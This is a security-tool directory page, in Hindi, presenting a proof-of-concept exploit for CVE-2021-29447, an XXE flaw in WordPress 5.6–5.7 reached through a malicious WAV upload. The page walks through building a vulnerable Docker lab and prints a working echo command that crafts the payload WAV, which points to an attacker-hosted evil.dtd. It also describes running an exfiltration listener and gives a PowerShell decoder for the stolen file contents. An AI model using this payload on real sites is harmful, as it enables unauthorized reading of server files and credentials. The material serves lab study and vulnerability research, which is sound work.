Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-29447-PoC — CVE-2021-29447 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, WordPress 5.6–5.7 में दुर्भावनापूर्ण WAV फ़ाइल अपलोड के माध्यम से XXE इंजेक्शन भेद्यता, PHP 8.0+ पर मनमानी फ़ाइल प्रकटीकरण सक्षम करना। | Kitploit
उपकरण/GitHubGitHub/rdana55/cve-2021-29447-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

CVE-2021-29447 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, WordPress 5.6–5.7 में दुर्भावनापूर्ण WAV फ़ाइल अपलोड के माध्यम से XXE इंजेक्शन भेद्यता, PHP 8.0+ पर मनमानी फ़ाइल प्रकटीकरण सक्षम करना।

रिपॉजिटरी देखें
64 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-29447-PoC

अवलोकन

CVE-2021-29447 एक XML External Entity (XXE) इंजेक्शन कमज़ोरी है जो PHP 8.0+ पर चलने पर WordPress संस्करण 5.6–5.7 (5.7.1 में पैच की गई) को प्रभावित करती है। यह कमज़ोरी मीडिया मेटाडेटा पार्सिंग के लिए उपयोग की जाने वाली getID3 लाइब्रेरी में मौजूद है।

WordPress getID3 के माध्यम से WAV फ़ाइल के iXML चंक्स को प्रोसेस करता है, जो LIBXML_NOENT फ़्लैग के साथ simplexml_load_string() को कॉल करता है। यह फ़्लैग PHP 8 की डिफ़ॉल्ट XXE सुरक्षाओं (डिप्रीकेटेड libxml_disable_entity_loader()) को बायपास करते हुए, बाहरी एंटिटी प्रतिस्थापन को स्पष्ट रूप से सक्षम करता है।

  1. प्रमाणित उपयोगकर्ता (Author+) दुर्भावनापूर्ण WAV अपलोड करता है
  2. getID3 → iXML चंक → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. बाहरी DTD प्राप्ति → PHP data:// रैपर → मनमानी फ़ाइल का खुलासा

प्रूफ़-ऑफ़-कॉन्सेप्ट सेटअप

यह PoC Dockerized WordPress 5.7 + PHP 8.0.3 का उपयोग करके इस कमज़ोरी को प्रदर्शित करता है। Linux उपयोगकर्ता एक सिंगल-फ़ाइल स्क्रिप्ट का उपयोग कर सकते हैं जो WAV/DTD फ़ाइलें भी जनरेट करती है।

▶️: https://youtu.be/YnGowuWHFyY

पूर्वापेक्षाएँ और पर्यावरण सेटअप

  1. Windows होस्ट पर Docker Desktop इंस्टॉल करें

  2. समर्पित प्रोजेक्ट निर्देशिका बनाएं (सभी PowerShell कमांड यहाँ निष्पादित होते हैं):

     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. कमज़ोर WordPress तैनात करें:

     #powershell
     notepad docker-compose.yml
    

    docker-compose.yml की सामग्री कॉपी और पेस्ट करें

  4. कंटेनर शुरू करें:

     #powershell
     docker-compose up -d
    
  5. ऑटो-अपडेट अक्षम करें (कमज़ोरी बनाए रखने के लिए महत्वपूर्ण):

     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. कमज़ोर संस्करण सत्यापित करें:

     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    अपेक्षित: WordPress 5.7, PHP 8.0+

  7. WordPress इंस्टॉलेशन:

    नेविगेट करें: http://localhost:8080

    एडमिन: test / test / [email protected]

    सेटअप पूर्ण करें → /wp-admin तक पहुँचें

  8. हमलावर का IP पता लगाएं:

     #powershell
     ipconfig | findstr IPv4
    

    अपना IP नोट करें (जैसे 192.168.1.196)

एक्सप्लॉइट पेलोड निर्माण

  1. DTD पेलोड बनाएं:

     #powershell
     notepad evil.dtd
    

    evil.dtd की सामग्री कॉपी और पेस्ट करें

  2. WAV पेलोड जनरेट करें (Linux CLI):

    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    python3 -m http.server 8000 के माध्यम से ट्रांसफर करें → Windows ब्राउज़र में डाउनलोड करें (जैसे http://<VM_IP>:8000)

    नोट: Windows वातावरण में बाइनरी एस्केपिंग जटिलता के कारण WAV अलग से बनाया गया है

  3. एक्सप्लॉइट सर्वर तैनात करें:

     #powershell
     notepad exploit.py
    

    exploit.py की सामग्री कॉपी और पेस्ट करें

    कमांड:

     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

एक्सप्लॉइटेशन

  1. XXE ट्रिगर करें:

    http://localhost:8080/wp-admin → मीडिया → नया जोड़ें

    payload.wav अपलोड करें

  2. Python सर्वर कंसोल की निगरानी करें -> एक्सफ़िल्ट्रेटेड डेटा कैप्चर करें

  3. Base64+Zlib पेलोड डिकोड करें:

     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

शमन

WordPress 5.7.1+ में अपग्रेड करें या getID3 पार्सिंग में LIBXML_NOENT अक्षम करें।

टूल डाउनलोड करें